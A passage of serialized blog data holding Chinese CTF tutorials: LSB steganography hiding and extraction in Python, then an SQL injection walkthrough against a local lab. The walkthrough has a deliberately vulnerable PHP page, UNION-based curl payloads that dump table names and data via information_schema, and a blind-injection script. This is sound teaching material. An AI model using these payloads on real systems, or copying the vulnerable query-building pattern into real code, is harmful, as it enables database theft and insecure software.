修改后的像素放入新列表。\n",[29,4858,4860],{"class":31,"line":4859},33,[29,4861,101],{"emptyLinePlaceholder":100},[29,4863,4865],{"class":31,"line":4864},34,[29,4866,4867],{},"img.putdata(new_pixels)\n",[29,4869,4871],{"class":31,"line":4870},35,[29,4872,4873],{},"# putdata()：把新像素列表写回图片对象。\n",[29,4875,4877],{"class":31,"line":4876},36,[29,4878,4879],{},"img.save('hidden.png')\n",[29,4881,4883],{"class":31,"line":4882},37,[29,4884,4885],{},"# save()：按扩展名格式保存为 PNG 文件。\n",[29,4887,4889],{"class":31,"line":4888},38,[29,4890,4891],{},"print(\"已生成 hidden.png\")\n",[15,4893,4894,4897,4898,396,4901,4904],{},[26,4895,4896],{},"r & 0xfe"," 把最低位清零（",[26,4899,4900],{},"0xfe = 11111110",[26,4902,4903],{},"| bit"," 写入目标比特。",[1268,4906,4908],{"id":4907},"_53-提取解题视角","5.3 提取（解题视角）",[15,4910,4911,4913],{},[187,4912,189],{},"：把像素最低位收集起来，按 8 位一组还原成字节，得到隐藏消息。",[15,4915,4916,4918],{},[187,4917,255],{},"：读取所有像素 → 依次取 R、G、B 的最低位 → 每 8 个比特拼成一个字节 → 遇到 0 结束。",[19,4920,4922],{"className":311,"code":4921,"language":313,"meta":24,"style":24},"from PIL import Image\n\nimg = Image.open('hidden.png').convert('RGB')\n# Image.open(path)：打开图片文件。\n# .convert('RGB')：统一转成 RGB 模式，避免调色板/透明度干扰。\nbits = []\nfor r, g, b in img.getdata():\n    bits += [r & 1, g & 1, b & 1]\n    # r & 1：取出红色通道最低位（0 或 1），绿、蓝同理。\n    # 三个最低位依次追加到 bits，顺序与隐藏时一致。\n\ndata = bytearray()\nfor i in range(0, len(bits) - 7, 8):\n    # range 步长 8：每 8 个比特处理一次，组成 1 字节。\n    byte = 0\n    for bit in bits[i:i+8]:\n        byte = (byte \u003C\u003C 1) | bit\n        # 左移一位再或上新比特，等价于二进制拼接。\n        # 例：1,0,1 → ((1\u003C\u003C1)|0)=2, (2\u003C\u003C1)|1=5，即二进制 101。\n    if byte == 0:\n        # 字节 0 是隐藏时追加的结束符，到此停止。\n        break\n    data.append(byte)\n\nprint(data.decode())\n# decode()：字节串按 UTF-8 解码成字符串显示。\n",[26,4923,4924,4928,4932,4937,4942,4947,4952,4957,4962,4967,4972,4976,4981,4986,4991,4996,5001,5006,5011,5016,5021,5026,5030,5035,5039,5044],{"__ignoreMap":24},[29,4925,4926],{"class":31,"line":32},[29,4927,4698],{},[29,4929,4930],{"class":31,"line":38},[29,4931,101],{"emptyLinePlaceholder":100},[29,4933,4934],{"class":31,"line":104},[29,4935,4936],{},"img = Image.open('hidden.png').convert('RGB')\n",[29,4938,4939],{"class":31,"line":110},[29,4940,4941],{},"# Image.open(path)：打开图片文件。\n",[29,4943,4944],{"class":31,"line":116},[29,4945,4946],{},"# .convert('RGB')：统一转成 RGB 模式，避免调色板/透明度干扰。\n",[29,4948,4949],{"class":31,"line":122},[29,4950,4951],{},"bits = []\n",[29,4953,4954],{"class":31,"line":128},[29,4955,4956],{},"for r, g, b in img.getdata():\n",[29,4958,4959],{"class":31,"line":134},[29,4960,4961],{},"    bits += [r & 1, g & 1, b & 1]\n",[29,4963,4964],{"class":31,"line":140},[29,4965,4966],{},"    # r & 1：取出红色通道最低位（0 或 1），绿、蓝同理。\n",[29,4968,4969],{"class":31,"line":146},[29,4970,4971],{},"    # 三个最低位依次追加到 bits，顺序与隐藏时一致。\n",[29,4973,4974],{"class":31,"line":367},[29,4975,101],{"emptyLinePlaceholder":100},[29,4977,4978],{"class":31,"line":373},[29,4979,4980],{},"data = bytearray()\n",[29,4982,4983],{"class":31,"line":379},[29,4984,4985],{},"for i in range(0, len(bits) - 7, 8):\n",[29,4987,4988],{"class":31,"line":775},[29,4989,4990],{},"    # range 步长 8：每 8 个比特处理一次，组成 1 字节。\n",[29,4992,4993],{"class":31,"line":781},[29,4994,4995],{},"    byte = 0\n",[29,4997,4998],{"class":31,"line":786},[29,4999,5000],{},"    for bit in bits[i:i+8]:\n",[29,5002,5003],{"class":31,"line":2600},[29,5004,5005],{},"        byte = (byte \u003C\u003C 1) | bit\n",[29,5007,5008],{"class":31,"line":2606},[29,5009,5010],{},"        # 左移一位再或上新比特，等价于二进制拼接。\n",[29,5012,5013],{"class":31,"line":2611},[29,5014,5015],{},"        # 例：1,0,1 → ((1\u003C\u003C1)|0)=2, (2\u003C\u003C1)|1=5，即二进制 101。\n",[29,5017,5018],{"class":31,"line":4025},[29,5019,5020],{},"    if byte == 0:\n",[29,5022,5023],{"class":31,"line":4031},[29,5024,5025],{},"        # 字节 0 是隐藏时追加的结束符，到此停止。\n",[29,5027,5028],{"class":31,"line":4037},[29,5029,382],{},[29,5031,5032],{"class":31,"line":4043},[29,5033,5034],{},"    data.append(byte)\n",[29,5036,5037],{"class":31,"line":4049},[29,5038,101],{"emptyLinePlaceholder":100},[29,5040,5041],{"class":31,"line":4813},[29,5042,5043],{},"print(data.decode())\n",[29,5045,5046],{"class":31,"line":4818},[29,5047,5048],{},"# decode()：字节串按 UTF-8 解码成字符串显示。\n",[15,5050,3477],{},[19,5052,5055],{"className":5053,"code":5054,"language":211,"meta":24},[209],"flag{lsb_steganography}\n",[26,5056,5054],{"__ignoreMap":24},[1268,5058,5060],{"id":5059},"_54-现成工具","5.4 现成工具",[19,5062,5064],{"className":152,"code":5063,"language":154,"meta":24,"style":24},"gem install zsteg\nzsteg -a hidden.png\n",[26,5065,5066,5076],{"__ignoreMap":24},[29,5067,5068,5071,5073],{"class":31,"line":32},[29,5069,5070],{"class":161},"gem",[29,5072,1230],{"class":169},[29,5074,5075],{"class":169}," zsteg\n",[29,5077,5078,5081,5084],{"class":31,"line":38},[29,5079,5080],{"class":161},"zsteg",[29,5082,5083],{"class":165}," -a",[29,5085,4457],{"class":169},[15,5087,5088,5091],{},[26,5089,5090],{},"-a"," 全自动检测各种 LSB 变体。",[10,5093,2133],{"id":2132},[455,5095,5096,5107],{},[458,5097,5098],{},[461,5099,5100,5102,5104],{},[464,5101,967],{},[464,5103,2144],{},[464,5105,5106],{},"命令",[471,5108,5109,5121,5134,5150],{},[461,5110,5111,5113,5116],{},[476,5112,1283],{},[476,5114,5115],{},"看类型、看编码、看无后缀文件",[476,5117,5118],{},[26,5119,5120],{},"file flag",[461,5122,5123,5126,5129],{},[476,5124,5125],{},"xxd / hexdump",[476,5127,5128],{},"查看文件头、指定长度",[476,5130,5131],{},[26,5132,5133],{},"xxd -l 16 flag.png",[461,5135,5136,5138,5141],{},[476,5137,1326],{},[476,5139,5140],{},"提取字符串、指定长度、管道过滤",[476,5142,5143,933,5146,933,5148],{},[26,5144,5145],{},"strings flag.png",[26,5147,2176],{},[26,5149,2179],{},[461,5151,5152,5154,5157],{},[476,5153,4606],{},[476,5155,5156],{},"扫描、提取",[476,5158,5159,933,5162],{},[26,5160,5161],{},"binwalk flag.png",[26,5163,5164],{},"binwalk -e flag.png",[10,5166,5168],{"id":5167},"七小-ctf-实战藏了-flag-的-png","七、小 CTF 实战：藏了 flag 的 PNG",[15,5170,2229,5171,389],{},[26,5172,5173],{},"flag.png",[15,5175,5176],{},"第一步：",[19,5178,5180],{"className":152,"code":5179,"language":154,"meta":24,"style":24},"file flag.png\n",[26,5181,5182],{"__ignoreMap":24},[29,5183,5184,5186],{"class":31,"line":32},[29,5185,1283],{"class":161},[29,5187,4609],{"class":169},[15,5189,1413,5190,389],{},[26,5191,5192],{},"PNG image data",[15,5194,5195],{},"第二步：",[19,5197,5198],{"className":152,"code":4568,"language":154,"meta":24,"style":24},[26,5199,5200],{"__ignoreMap":24},[29,5201,5202,5204,5206,5208,5210,5212],{"class":31,"line":32},[29,5203,1326],{"class":161},[29,5205,4485],{"class":169},[29,5207,1514],{"class":1182},[29,5209,1517],{"class":161},[29,5211,4583],{"class":165},[29,5213,4586],{"class":169},[15,5215,5216],{},"无输出。",[15,5218,5219],{},"第三步：",[19,5221,5222],{"className":152,"code":4599,"language":154,"meta":24,"style":24},[26,5223,5224],{"__ignoreMap":24},[29,5225,5226,5228],{"class":31,"line":32},[29,5227,4606],{"class":161},[29,5229,4609],{"class":169},[15,5231,5232],{},"无隐藏文件。",[15,5234,5235],{},"第四步：怀疑 LSB，运行提取脚本，输出：",[19,5237,5239],{"className":5238,"code":5054,"language":211,"meta":24},[209],[26,5240,5054],{"__ignoreMap":24},[10,5242,2426],{"id":2425},[15,5244,5245,5246,5248,5249,65,5251,5253],{},"Misc 入门三板斧：",[26,5247,1283],{}," 看类型、",[26,5250,1326],{},[26,5252,4606],{}," 排除简单情况、LSB 脚本提数据。音频隐写（Audacity 频谱图）、ZIP 伪加密、USB 流量分析在《隐写与取证深入实战》中完整展开。",[1114,5255,5256],{},"html pre.shiki code .sAOxA, html code.shiki .sAOxA{--shiki-default:#50FA7B}html pre.shiki code .s-mGx, html code.shiki .s-mGx{--shiki-default:#F1FA8C}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html pre.shiki code .sCdxs, html code.shiki .sCdxs{--shiki-default:#F8F8F2}html pre.shiki code .sIQBb, html code.shiki .sIQBb{--shiki-default:#BD93F9}html pre.shiki code .shSDL, html code.shiki .shSDL{--shiki-default:#6272A4}html pre.shiki code .s0Tla, html code.shiki .s0Tla{--shiki-default:#FF79C6}",{"title":24,"searchDepth":38,"depth":38,"links":5258},[5259,5260,5261,5262,5263,5264,5265,5266],{"id":4318,"depth":104,"text":4319},{"id":1213,"depth":104,"text":1214},{"id":4430,"depth":104,"text":4431},{"id":4592,"depth":104,"text":4593},{"id":4662,"depth":104,"text":4663},{"id":2132,"depth":104,"text":2133},{"id":5167,"depth":104,"text":5168},{"id":2425,"depth":104,"text":2426},"杂项三板斧：file/xxd 识别文件头、binwalk 提取隐藏文件、Python 实现 LSB 隐写的隐藏与提取。",{"date":1132,"image":5269,"alt":5270,"tags":5271,"published":100},"/blogs-img/blog4.png","CTF Misc 入门",[1136,5272],"misc","/blogs/ctf-misc-overview",{"title":4313,"description":5267},"blogs/13. ctf-misc-overview","XI4JQUKrJS4uak8Rm3ioTk2L2WukeCdhI54Ldj4FkRo",{"id":5278,"title":5279,"body":5280,"description":6671,"extension":1130,"meta":6672,"navigation":100,"ogImage":6673,"path":6678,"seo":6679,"stem":6680,"__hash__":6681},"content/blogs/14. ctf-web-sql-injection-deep-dive.md","SQL 注入深入实战：判断、UNION 拖库、盲注与防御",{"type":7,"value":5281,"toc":6660},[5282,5286,5289,5306,5316,5327,5334,5338,5342,5375,5381,5385,5388,5423,5428,5476,5482,5488,5492,5501,5506,5510,5515,5534,5536,5542,5546,5551,5567,5570,5576,5583,5587,5603,5609,5613,5629,5632,5646,5650,5655,5660,5667,5671,5679,5728,5731,5735,5743,5759,5765,5769,5785,5789,5793,5809,5814,5818,5834,5838,5853,5857,5873,5878,5884,5888,5893,5896,5900,5916,5921,5937,5942,5945,5954,6091,6094,6100,6104,6111,6127,6130,6134,6139,6143,6148,6171,6173,6179,6183,6203,6208,6212,6244,6251,6255,6299,6308,6315,6319,6324,6330,6500,6502,6514,6516,6522,6525,6646,6650,6657],[10,5283,5285],{"id":5284},"一现实背景sql-是怎么被拼出来的","一、现实背景：SQL 是怎么被拼出来的",[15,5287,5288],{},"普通程序员的查询代码：",[19,5290,5294],{"className":5291,"code":5292,"language":5293,"meta":24,"style":24},"language-php shiki shiki-themes dracula","$id = $_GET['id'];\n$sql = \"SELECT id, title FROM articles WHERE id = \" . $id;\n","php",[26,5295,5296,5301],{"__ignoreMap":24},[29,5297,5298],{"class":31,"line":32},[29,5299,5300],{},"$id = $_GET['id'];\n",[29,5302,5303],{"class":31,"line":38},[29,5304,5305],{},"$sql = \"SELECT id, title FROM articles WHERE id = \" . $id;\n",[15,5307,5308,5311,5312,5315],{},[26,5309,5310],{},"$id"," 被直接拼进 SQL 字符串。当 ",[26,5313,5314],{},"id=1 OR 1=1"," 时：",[19,5317,5321],{"className":5318,"code":5319,"language":5320,"meta":24,"style":24},"language-sql shiki shiki-themes dracula","SELECT id, title FROM articles WHERE id = 1 OR 1=1\n","sql",[26,5322,5323],{"__ignoreMap":24},[29,5324,5325],{"class":31,"line":32},[29,5326,5319],{},[15,5328,5329,5330,5333],{},"恒真，返回全表。",[187,5331,5332],{},"用户输入从\"数据\"变成了\"代码\"","，这就是 SQL 注入。",[10,5335,5337],{"id":5336},"二环境搭建二选一","二、环境搭建（二选一）",[1268,5339,5341],{"id":5340},"方式-asqli-labs-靶场","方式 A：sqli-labs 靶场",[19,5343,5345],{"className":152,"code":5344,"language":154,"meta":24,"style":24},"git clone https://github.com/Audi-1/sqli-labs.git\ncd sqli-labs\nphp -S 127.0.0.1:8000\n",[26,5346,5347,5358,5365],{"__ignoreMap":24},[29,5348,5349,5352,5355],{"class":31,"line":32},[29,5350,5351],{"class":161},"git",[29,5353,5354],{"class":169}," clone",[29,5356,5357],{"class":169}," https://github.com/Audi-1/sqli-labs.git\n",[29,5359,5360,5362],{"class":31,"line":38},[29,5361,1871],{"class":1870},[29,5363,5364],{"class":169}," sqli-labs\n",[29,5366,5367,5369,5372],{"class":31,"line":104},[29,5368,5293],{"class":161},[29,5370,5371],{"class":165}," -S",[29,5373,5374],{"class":169}," 127.0.0.1:8000\n",[15,5376,5377,5378,389],{},"浏览器访问，点 \"Setup/reset Database\"，之后打 ",[26,5379,5380],{},"Less-1",[1268,5382,5384],{"id":5383},"方式-b自建漏洞页本文以此讲解","方式 B：自建漏洞页（本文以此讲解）",[15,5386,5387],{},"数据库：",[19,5389,5391],{"className":5318,"code":5390,"language":5320,"meta":24,"style":24},"CREATE DATABASE ctf;\nUSE ctf;\nCREATE TABLE articles (id INT, title VARCHAR(50), content VARCHAR(200));\nINSERT INTO articles VALUES (1, 'hello', 'world'), (2, 'secret', 'hidden');\nCREATE TABLE flag (flag VARCHAR(100));\nINSERT INTO flag VALUES ('flag{sql_injection}');\n",[26,5392,5393,5398,5403,5408,5413,5418],{"__ignoreMap":24},[29,5394,5395],{"class":31,"line":32},[29,5396,5397],{},"CREATE DATABASE ctf;\n",[29,5399,5400],{"class":31,"line":38},[29,5401,5402],{},"USE ctf;\n",[29,5404,5405],{"class":31,"line":104},[29,5406,5407],{},"CREATE TABLE articles (id INT, title VARCHAR(50), content VARCHAR(200));\n",[29,5409,5410],{"class":31,"line":110},[29,5411,5412],{},"INSERT INTO articles VALUES (1, 'hello', 'world'), (2, 'secret', 'hidden');\n",[29,5414,5415],{"class":31,"line":116},[29,5416,5417],{},"CREATE TABLE flag (flag VARCHAR(100));\n",[29,5419,5420],{"class":31,"line":122},[29,5421,5422],{},"INSERT INTO flag VALUES ('flag{sql_injection}');\n",[15,5424,5425,85],{},[26,5426,5427],{},"vuln.php",[19,5429,5431],{"className":5291,"code":5430,"language":5293,"meta":24,"style":24},"\u003C?php\n$conn = new mysqli(\"localhost\", \"root\", \"password\", \"ctf\");\n$id = $_GET['id'];\n$sql = \"SELECT id, title, content FROM articles WHERE id = \" . $id;\n$result = $conn->query($sql);\nwhile ($row = $result->fetch_assoc()) {\n    echo $row['id'] . \" \" . $row['title'] . \" \" . $row['content'] . \"\u003Cbr>\";\n}\n?>\n",[26,5432,5433,5438,5443,5447,5452,5457,5462,5467,5471],{"__ignoreMap":24},[29,5434,5435],{"class":31,"line":32},[29,5436,5437],{},"\u003C?php\n",[29,5439,5440],{"class":31,"line":38},[29,5441,5442],{},"$conn = new mysqli(\"localhost\", \"root\", \"password\", \"ctf\");\n",[29,5444,5445],{"class":31,"line":104},[29,5446,5300],{},[29,5448,5449],{"class":31,"line":110},[29,5450,5451],{},"$sql = \"SELECT id, title, content FROM articles WHERE id = \" . $id;\n",[29,5453,5454],{"class":31,"line":116},[29,5455,5456],{},"$result = $conn->query($sql);\n",[29,5458,5459],{"class":31,"line":122},[29,5460,5461],{},"while ($row = $result->fetch_assoc()) {\n",[29,5463,5464],{"class":31,"line":128},[29,5465,5466],{},"    echo $row['id'] . \" \" . $row['title'] . \" \" . $row['content'] . \"\u003Cbr>\";\n",[29,5468,5469],{"class":31,"line":134},[29,5470,149],{},[29,5472,5473],{"class":31,"line":140},[29,5474,5475],{},"?>\n",[15,5477,5478,5479,389],{},"启动：",[26,5480,5481],{},"php -S 127.0.0.1:8000",[5483,5484,5485],"blockquote",{},[15,5486,5487],{},"说明：如果你的电脑不方便装 PHP+MySQL，可以跳过本节，用\"附录\"里的 Python+SQLite 模拟程序跑通同样的注入过程，原理完全一致。",[10,5489,5491],{"id":5490},"三核心步骤-1注入点判断","三、核心步骤 1：注入点判断",[15,5493,5494,5496,5497,5500],{},[187,5495,189],{},"：确认参数 ",[26,5498,5499],{},"id"," 能影响 SQL 逻辑，避免在非注入点上浪费时间。",[15,5502,5503,5505],{},[187,5504,255],{},"：用\"会破坏语法\"的单引号和\"改变查询条件\"的 AND 表达式做探测。单引号报错、恒真正常、恒假为空，三者齐备即确认。",[1268,5507,5509],{"id":5508},"请求-1正常请求","请求 1：正常请求",[15,5511,5512,5514],{},[187,5513,189],{},"：记录正常响应的样子，作为后续对比的基线。",[19,5516,5518],{"className":152,"code":5517,"language":154,"meta":24,"style":24},"curl \"http://127.0.0.1:8000/vuln.php?id=1\"\n",[26,5519,5520],{"__ignoreMap":24},[29,5521,5522,5525,5528,5531],{"class":31,"line":32},[29,5523,5524],{"class":161},"curl",[29,5526,5527],{"class":1526}," \"",[29,5529,5530],{"class":169},"http://127.0.0.1:8000/vuln.php?id=1",[29,5532,5533],{"class":1526},"\"\n",[15,5535,385],{},[19,5537,5540],{"className":5538,"code":5539,"language":211,"meta":24},[209],"1 hello world\n",[26,5541,5539],{"__ignoreMap":24},[1268,5543,5545],{"id":5544},"请求-2单引号","请求 2：单引号",[15,5547,5548,5550],{},[187,5549,189],{},"：判断输入是否被拼进 SQL。拼进去了，单引号就会破坏语法。",[19,5552,5554],{"className":152,"code":5553,"language":154,"meta":24,"style":24},"curl \"http://127.0.0.1:8000/vuln.php?id=1'\"\n",[26,5555,5556],{"__ignoreMap":24},[29,5557,5558,5560,5562,5565],{"class":31,"line":32},[29,5559,5524],{"class":161},[29,5561,5527],{"class":1526},[29,5563,5564],{"class":169},"http://127.0.0.1:8000/vuln.php?id=1'",[29,5566,5533],{"class":1526},[15,5568,5569],{},"预期输出（报错）：",[19,5571,5574],{"className":5572,"code":5573,"language":211,"meta":24},[209],"You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version ...\n",[26,5575,5573],{"__ignoreMap":24},[15,5577,5578,5579,5582],{},"原因：语句变成 ",[26,5580,5581],{},"WHERE id = 1'","，单引号未闭合。",[1268,5584,5586],{"id":5585},"请求-3and-11","请求 3：AND 1=1",[19,5588,5590],{"className":152,"code":5589,"language":154,"meta":24,"style":24},"curl \"http://127.0.0.1:8000/vuln.php?id=1 AND 1=1\"\n",[26,5591,5592],{"__ignoreMap":24},[29,5593,5594,5596,5598,5601],{"class":31,"line":32},[29,5595,5524],{"class":161},[29,5597,5527],{"class":1526},[29,5599,5600],{"class":169},"http://127.0.0.1:8000/vuln.php?id=1 AND 1=1",[29,5602,5533],{"class":1526},[15,5604,385,5605,5608],{},[26,5606,5607],{},"1 hello world","（条件真）。",[1268,5610,5612],{"id":5611},"请求-4and-12","请求 4：AND 1=2",[19,5614,5616],{"className":152,"code":5615,"language":154,"meta":24,"style":24},"curl \"http://127.0.0.1:8000/vuln.php?id=1 AND 1=2\"\n",[26,5617,5618],{"__ignoreMap":24},[29,5619,5620,5622,5624,5627],{"class":31,"line":32},[29,5621,5524],{"class":161},[29,5623,5527],{"class":1526},[29,5625,5626],{"class":169},"http://127.0.0.1:8000/vuln.php?id=1 AND 1=2",[29,5628,5533],{"class":1526},[15,5630,5631],{},"预期输出：空（条件假）。",[15,5633,5634,5637,5638,5641,5642,5645],{},[187,5635,5636],{},"判定","：单引号报错 + ",[26,5639,5640],{},"1=1"," 正常 + ",[26,5643,5644],{},"1=2"," 为空 → 注入点确认。",[10,5647,5649],{"id":5648},"四核心步骤-2union-注入五步拖库","四、核心步骤 2：UNION 注入五步拖库",[15,5651,5652,5654],{},[187,5653,189],{},"：把数据库里的表和数据\"借\" UNION 查询显示到页面上。",[15,5656,5657,5659],{},[187,5658,255],{},"：UNION 合并两个查询，但要求列数一致；先把第一个查询置空（id=-1），再用回显列依次输出库名、表名、列名、数据。每一步都是下一步的前提：不知道库名就筛不出表，不知道表名就查不了列。",[15,5661,5662,5663,5666],{},"前提：第一个查询返回空（用 ",[26,5664,5665],{},"id=-1","），UNION 两个查询列数相同。",[1268,5668,5670],{"id":5669},"第-1-步确定列数","第 1 步：确定列数",[15,5672,5673,85,5675,5678],{},[187,5674,255],{},[26,5676,5677],{},"ORDER BY N"," 按第 N 列排序，N 超过实际列数时报错。从 1 试到报错为止，报错前的 N 就是列数。",[19,5680,5682],{"className":152,"code":5681,"language":154,"meta":24,"style":24},"curl \"http://127.0.0.1:8000/vuln.php?id=1 ORDER BY 1\"\ncurl \"http://127.0.0.1:8000/vuln.php?id=1 ORDER BY 2\"\ncurl \"http://127.0.0.1:8000/vuln.php?id=1 ORDER BY 3\"\ncurl \"http://127.0.0.1:8000/vuln.php?id=1 ORDER BY 4\"\n",[26,5683,5684,5695,5706,5717],{"__ignoreMap":24},[29,5685,5686,5688,5690,5693],{"class":31,"line":32},[29,5687,5524],{"class":161},[29,5689,5527],{"class":1526},[29,5691,5692],{"class":169},"http://127.0.0.1:8000/vuln.php?id=1 ORDER BY 1",[29,5694,5533],{"class":1526},[29,5696,5697,5699,5701,5704],{"class":31,"line":38},[29,5698,5524],{"class":161},[29,5700,5527],{"class":1526},[29,5702,5703],{"class":169},"http://127.0.0.1:8000/vuln.php?id=1 ORDER BY 2",[29,5705,5533],{"class":1526},[29,5707,5708,5710,5712,5715],{"class":31,"line":104},[29,5709,5524],{"class":161},[29,5711,5527],{"class":1526},[29,5713,5714],{"class":169},"http://127.0.0.1:8000/vuln.php?id=1 ORDER BY 3",[29,5716,5533],{"class":1526},[29,5718,5719,5721,5723,5726],{"class":31,"line":110},[29,5720,5524],{"class":161},[29,5722,5527],{"class":1526},[29,5724,5725],{"class":169},"http://127.0.0.1:8000/vuln.php?id=1 ORDER BY 4",[29,5727,5533],{"class":1526},[15,5729,5730],{},"前三条正常，第四条报错 → 共 3 列。",[1268,5732,5734],{"id":5733},"第-2-步确认回显位","第 2 步：确认回显位",[15,5736,5737,85,5739,5742],{},[187,5738,255],{},[26,5740,5741],{},"SELECT 1,2,3"," 的数字会显示在页面上，显示的哪个数字对应哪一列，哪一列就能用来输出数据。",[19,5744,5746],{"className":152,"code":5745,"language":154,"meta":24,"style":24},"curl \"http://127.0.0.1:8000/vuln.php?id=-1 UNION SELECT 1,2,3--+\"\n",[26,5747,5748],{"__ignoreMap":24},[29,5749,5750,5752,5754,5757],{"class":31,"line":32},[29,5751,5524],{"class":161},[29,5753,5527],{"class":1526},[29,5755,5756],{"class":169},"http://127.0.0.1:8000/vuln.php?id=-1 UNION SELECT 1,2,3--+",[29,5758,5533],{"class":1526},[15,5760,385,5761,5764],{},[26,5762,5763],{},"2 3","。第 2、3 列内容会显示，作为后续输出位置。",[1268,5766,5768],{"id":5767},"第-3-步查数据库名","第 3 步：查数据库名",[19,5770,5772],{"className":152,"code":5771,"language":154,"meta":24,"style":24},"curl \"http://127.0.0.1:8000/vuln.php?id=-1 UNION SELECT 1,database(),3--+\"\n",[26,5773,5774],{"__ignoreMap":24},[29,5775,5776,5778,5780,5783],{"class":31,"line":32},[29,5777,5524],{"class":161},[29,5779,5527],{"class":1526},[29,5781,5782],{"class":169},"http://127.0.0.1:8000/vuln.php?id=-1 UNION SELECT 1,database(),3--+",[29,5784,5533],{"class":1526},[15,5786,385,5787,389],{},[26,5788,1136],{},[1268,5790,5792],{"id":5791},"第-4-步查表名","第 4 步：查表名",[19,5794,5796],{"className":152,"code":5795,"language":154,"meta":24,"style":24},"curl \"http://127.0.0.1:8000/vuln.php?id=-1 UNION SELECT 1,group_concat(table_name),3 FROM information_schema.tables WHERE table_schema=database()--+\"\n",[26,5797,5798],{"__ignoreMap":24},[29,5799,5800,5802,5804,5807],{"class":31,"line":32},[29,5801,5524],{"class":161},[29,5803,5527],{"class":1526},[29,5805,5806],{"class":169},"http://127.0.0.1:8000/vuln.php?id=-1 UNION SELECT 1,group_concat(table_name),3 FROM information_schema.tables WHERE table_schema=database()--+",[29,5808,5533],{"class":1526},[15,5810,385,5811,389],{},[26,5812,5813],{},"articles,flag,users",[1268,5815,5817],{"id":5816},"第-5-步查列名","第 5 步：查列名",[19,5819,5821],{"className":152,"code":5820,"language":154,"meta":24,"style":24},"curl \"http://127.0.0.1:8000/vuln.php?id=-1 UNION SELECT 1,group_concat(column_name),3 FROM information_schema.columns WHERE table_name='flag'--+\"\n",[26,5822,5823],{"__ignoreMap":24},[29,5824,5825,5827,5829,5832],{"class":31,"line":32},[29,5826,5524],{"class":161},[29,5828,5527],{"class":1526},[29,5830,5831],{"class":169},"http://127.0.0.1:8000/vuln.php?id=-1 UNION SELECT 1,group_concat(column_name),3 FROM information_schema.columns WHERE table_name='flag'--+",[29,5833,5533],{"class":1526},[15,5835,385,5836,389],{},[26,5837,3351],{},[15,5839,5840,5843,5844,5846,5847,5849,5850,5852],{},[187,5841,5842],{},"说明","：如果第 4 步看到多个表，比如 ",[26,5845,5813],{},"，优先怀疑 ",[26,5848,3351],{}," 表；列名可能不是 ",[26,5851,3351],{},"，需要本步用 information_schema.columns 确认。",[1268,5854,5856],{"id":5855},"第-6-步拿数据","第 6 步：拿数据",[19,5858,5860],{"className":152,"code":5859,"language":154,"meta":24,"style":24},"curl \"http://127.0.0.1:8000/vuln.php?id=-1 UNION SELECT 1,flag,3 FROM flag--+\"\n",[26,5861,5862],{"__ignoreMap":24},[29,5863,5864,5866,5868,5871],{"class":31,"line":32},[29,5865,5524],{"class":161},[29,5867,5527],{"class":1526},[29,5869,5870],{"class":169},"http://127.0.0.1:8000/vuln.php?id=-1 UNION SELECT 1,flag,3 FROM flag--+",[29,5872,5533],{"class":1526},[15,5874,385,5875,389],{},[26,5876,5877],{},"flag{sql_injection}",[15,5879,5880,5883],{},[187,5881,5882],{},"验证","：若第 6 步报错，通常是列名猜错，回到第 5 步把列名抄准再试。",[10,5885,5887],{"id":5886},"五核心步骤-3盲注页面不回显时","五、核心步骤 3：盲注（页面不回显时）",[15,5889,5890,5892],{},[187,5891,189],{},"：当页面既不显示查询结果也不报错时，把数据库当\"是与否\"的问答机，逐字符问出数据。",[15,5894,5895],{},"当页面不显示查询结果也不报错时，只能用\"是与否\"推断数据。",[1268,5897,5899],{"id":5898},"_51-布尔盲注","5.1 布尔盲注",[19,5901,5903],{"className":152,"code":5902,"language":154,"meta":24,"style":24},"curl \"http://127.0.0.1:8000/vuln.php?id=1 AND (SELECT SUBSTRING(database(),1,1))='c'--+\"\n",[26,5904,5905],{"__ignoreMap":24},[29,5906,5907,5909,5911,5914],{"class":31,"line":32},[29,5908,5524],{"class":161},[29,5910,5527],{"class":1526},[29,5912,5913],{"class":169},"http://127.0.0.1:8000/vuln.php?id=1 AND (SELECT SUBSTRING(database(),1,1))='c'--+",[29,5915,5533],{"class":1526},[15,5917,5918,5919,389],{},"正常 → 库名第一个字符是 ",[26,5920,23],{},[19,5922,5924],{"className":152,"code":5923,"language":154,"meta":24,"style":24},"curl \"http://127.0.0.1:8000/vuln.php?id=1 AND (SELECT SUBSTRING(database(),1,1))='a'--+\"\n",[26,5925,5926],{"__ignoreMap":24},[29,5927,5928,5930,5932,5935],{"class":31,"line":32},[29,5929,5524],{"class":161},[29,5931,5527],{"class":1526},[29,5933,5934],{"class":169},"http://127.0.0.1:8000/vuln.php?id=1 AND (SELECT SUBSTRING(database(),1,1))='a'--+",[29,5936,5533],{"class":1526},[15,5938,5939,5940,389],{},"为空 → 不是 ",[26,5941,3545],{},[15,5943,5944],{},"自动化脚本：",[15,5946,5947,5949,5950,5953],{},[187,5948,255],{},"：对 flag 的每个位置，逐个尝试字符，问\"这一位是不是 ch\"；页面出现正常特征（如 ",[26,5951,5952],{},"hello","）就说明猜对，把字符记下再问下一位。",[19,5955,5957],{"className":311,"code":5956,"language":313,"meta":24,"style":24},"import requests, string\n# requests：HTTP 请求库；string：标准库，提供 printable（可打印字符集）。\n\nurl = \"http://127.0.0.1:8000/vuln.php\"\nresult = \"\"          # 保存已确认的 flag 片段\n\nfor pos in range(1, 50):\n    # pos 从 1 开始，逐位猜测；50 是长度上限，防止死循环。\n    found = False\n    for ch in string.printable:\n        payload = f\"1 AND (SELECT SUBSTRING((SELECT flag FROM flag LIMIT 1),{pos},1))='{ch}'--+\"\n        # SUBSTRING(text, pos, 1)：取字符串第 pos 位、长度 1 的字符。\n        # 内层 SELECT flag FROM flag LIMIT 1：取出 flag 表第一行。\n        # 整句含义：如果 flag 第 pos 位是 ch，条件为真。\n        r = requests.get(url, params={\"id\": payload})\n        # requests.get(url, params=...)：GET 请求，params 自动做 URL 编码。\n        # r.text：响应正文。\n        if \"hello\" in r.text:\n            # 条件为真时页面正常，包含特征字符串 \"hello\"。\n            result += ch\n            print(result)\n            found = True\n            break\n    if not found or result.endswith('}'):\n        # 一整轮都没猜中 = 已到结尾；或以 } 结尾 = flag 结束。\n        break\nprint(\"flag:\", 